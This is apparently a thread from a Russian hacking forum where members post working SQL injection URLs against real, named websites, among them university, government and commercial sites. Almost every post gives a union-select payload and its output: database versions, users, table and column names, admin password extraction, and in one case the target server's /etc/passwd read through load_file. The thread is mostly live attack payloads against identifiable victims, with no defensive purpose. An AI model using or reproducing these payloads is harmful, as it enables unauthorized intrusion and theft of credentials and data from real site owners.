SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Hack_ERR++

    Hack_ERR++ Member

    Joined:
    13 Aug 2009
    Messages:
    41
    Likes Received:
    9
    Reputations:
    0
    Code:
    http://www.cfc-nj.com/news.php?id=-191+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15--
    5.0.51a-log

    Code:
    http://www.jempartners.ch/ita/news.php?id=1191+and+substring(version(),1,1)=5
     
    #10401 Hack_ERR++, 19 Aug 2009
    Last edited by a moderator: 19 Aug 2009
    2 people like this.
  2. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.comp.polyu.edu.hk/contentpage.php?id=20060912163908+union+select+concat(0x3,version(),user(),database()),2,3,4

    [email protected]
     
    2 people like this.
  3. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 6
    http://www.music.msu.edu/people/detail.php?id=30+union+select+1,2,3,4,5,6,password,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,43+from+tbl_admin+limit+1,1--

    5.1.34-community-log

    ------------------------------------------------------------------------------------------------------

    PR 7
    http://www.imsports.msu.edu/clubs/clubDisp.php?id=-29+union+select+1,table_name,version(),4,5,6,7,8,9,0,11+from+information_schema.tables+limit+1,1--

    5.0.81-community
     
    1 person likes this.
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    http://www.cineclubilraggioverde.it/archivio/iniziativa.php?id=-1+union+select+1,2,concat_ws(0x3a,user,pwd),4,5,6,7,8,9,0,1,12+from+login/*

    Database Version: 4.1.22-standard-log
    Database name: cineclubilraggioverde_it_cico
    User name: [email protected]
     
  5. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.thlib.org/avarch/mediaflowcat/staffmember_details.php?id=354+union+select+1,2,concat(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+limit+1,1/*


    [email protected]
     
    1 person likes this.
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://www.blackcd.ru/php/content.php?id=-5746'+union+select+1,2,3,4,5,version(),7,8,9,0,1,2,3,4,5,6,17/*
    Database Version: 5.0.32-Debian_7etch10-log
    Database name: leontyev_blcd
    User name: [email protected]
     
    3 people like this.
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    .gov
    Code:
    http://www.winchesterva.gov/news.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8
    Code:
    [COLOR=Red]root@localhost[/COLOR]:winccms:4.1.20
    Code:
    http://www.winchesterva.gov/news.php?id=-1+union+select+1,load_file(0x2F6574632F706173737764),3,4,5,6,7,8
    Code:
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/etc/news:
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    dbus:x:81:81:System message bus:/:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
    rpm:x:37:37::/var/lib/rpm:/sbin/nologin
    netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
    nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
    smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
    pcap:x:77:77::/var/arpwatch:/sbin/nologin
    named:x:25:25:Named:/var/named:/sbin/nologin
    ntp:x:38:38::/etc/ntp:/sbin/nologin
    apache:x:48:48:Apache:/var/www:/sbin/nologin
    rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
    dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
    mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
    pop:x:100:12:Qpopper:/var/spool/mail:/bin/bash
    webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
    admin:x:500:100:Administrator:/home/.users/112/admin:/bin/bash
    root-admin:x:0:0::/root:/bin/bash
     
    6 people like this.
  8. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.yangshuo.gov.cn/tv/article.php?id=973+and+substring(version(),1,1)=4
    Code:
    http://www.harrisburgu.net/news/article.php?id=-453+union+select+1,unhex(hex(version())),3,4,5--
    4.1.18-nt

    Code:
    http://www.sonarbangladesh.com/article.php?ID=973+and+substring(version(),1,1)=5
     
    1 person likes this.
  9. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    tlf
    =) гы
    Version: 4.1.13-standard-log
    User [email protected]
    Db: cmesite

    -------------------------------------------------------
    Version: 5.0.51a-log
    User: [email protected]
    Db awis
     
    #10409 $n@ke, 20 Aug 2009
    Last edited: 20 Aug 2009
    6 people like this.
  10. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    fconcord_fconcor@localhost
    4.1.22-standard
    fconcord_fconcord
     
    4 people like this.
  11. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    PR3
    Code:
    http://www.sportsarok.hu/index.php?id=-34+union+select+1,2/*
    jateksarokhu@localhost:5.0.32-Debian_7etch10-log:jateksarokhu2
     
    3 people like this.
  12. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Хлам (5й мускул, вывод в редиректе)
    http://vduplo.ru/redirect/?id=-1+union+select+1,2,3,(select+group_concat(table_name)+AS+url+from+information_schema.tables+WHERE+table_schema=0x6131393131355f31)+--+

    Хлам (4й мускул)
    http://drochim.net/main.php?cat=13%60+where+id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version()),5,6,7+--+&page=0
     
    #10412 BlackSun, 20 Aug 2009
    Last edited: 20 Aug 2009
    8 people like this.
  13. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(column_name+separator+0x0a),5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name='users'--
    Code:
    http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),table_schema,5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name='users'--
    Code:
    http://www.planetabb.com.ar/verProducto.php?id=-435+union+select+1,2,version(),group_concat(concat_ws(0x3a3a3a3a,id,username,password)+separator+0x0a),5,6,7,8,9,10,11,12,13+from+boating.users--
    ==============
     
    #10413 fraIzer, 20 Aug 2009
    Last edited by a moderator: 20 Aug 2009
    3 people like this.
  14. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Adult Site Review & Ranking

    Code:
    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) 
     
    4 people like this.
  15. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.apemep.org/wordpress/?page_id=10&album=3&photo=1+union+select+concat(0x3,version(),user(),d atabase())


    [email protected]


    http://www.lowcountrygoodwill.org/members/?id=1+union+select+1,2,3,4,concat_ws(0x2,version() ,user(),database()),6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25/*

    5.0.27-standard [email protected] iponly170165


    http://www.ji-piano.com/cgi/poll/view.html?poll_num=1+union+select+concat_ws(0x2,version(),user(),database())/*


    4.0.22-log jipiano@localhost jipiano
     
    2 people like this.
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    PR 7
    http://genomics.ucr.edu/news/news-details.php?id=-25+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,23--

    Database Version: 5.0.81
    Database name: genomics
    User name: [email protected]

    ---------------------------------------------------------------------------------------------------

    PR 7
    http://www.namnewsnetwork.org/v2/readphoto.php?id=7814+union+select+1,2,version()+from+mysql.user/*

    Database Version: 4.0.24-log
    Database name: nnn
    User name: root@localhost
     
    #10416 Skofield, 21 Aug 2009
    Last edited: 21 Aug 2009
    4 people like this.
  17. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    PR3
    Code:
    http://www.formel.hr/clanak.php?id=-12384+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
    izlog@localhost:4.1.11-Debian_4sarge7-log:izlog
     
    2 people like this.
  18. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    5.0.81-community-logsercanak_main@localhostsercanak_ctav2
     
    2 people like this.
  19. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    https://forum.antichat.ru/showpost.php?p=1471341&postcount=15
    Code:
    http://kissmir.ru/write.php?id=-1+UNION+SELECT+1,concat(DATABASE(),0x3a,USER(),0x3a,VERSION()),3,4--
    kiss:nitsik@localhost:5.0.84

    БД.табла (колонки)
    Code:
    accordik.akk (let,art,enart,song,ensong,akk,i,kol,com,avtcom,cday,cmonth,cyear,mark,sday,smonth,syear,avt,link)
    accordik.art (let,art,enart,kol)
    baza.ids (id,name,email,pass) [COLOR=YellowGreen]0 записей [/COLOR]
     
    6 people like this.
  20. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 6

    http://www.ghana50.gov.gh/tourism/index.php?op=dispayRestaurantsInfo&region=1&id=-76+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+--+

    ghana50_ghana50@localhost:ghana50_ghana50:5.0.67-community
     
    _________________________
    3 people like this.
Thread Status:
Not open for further replies.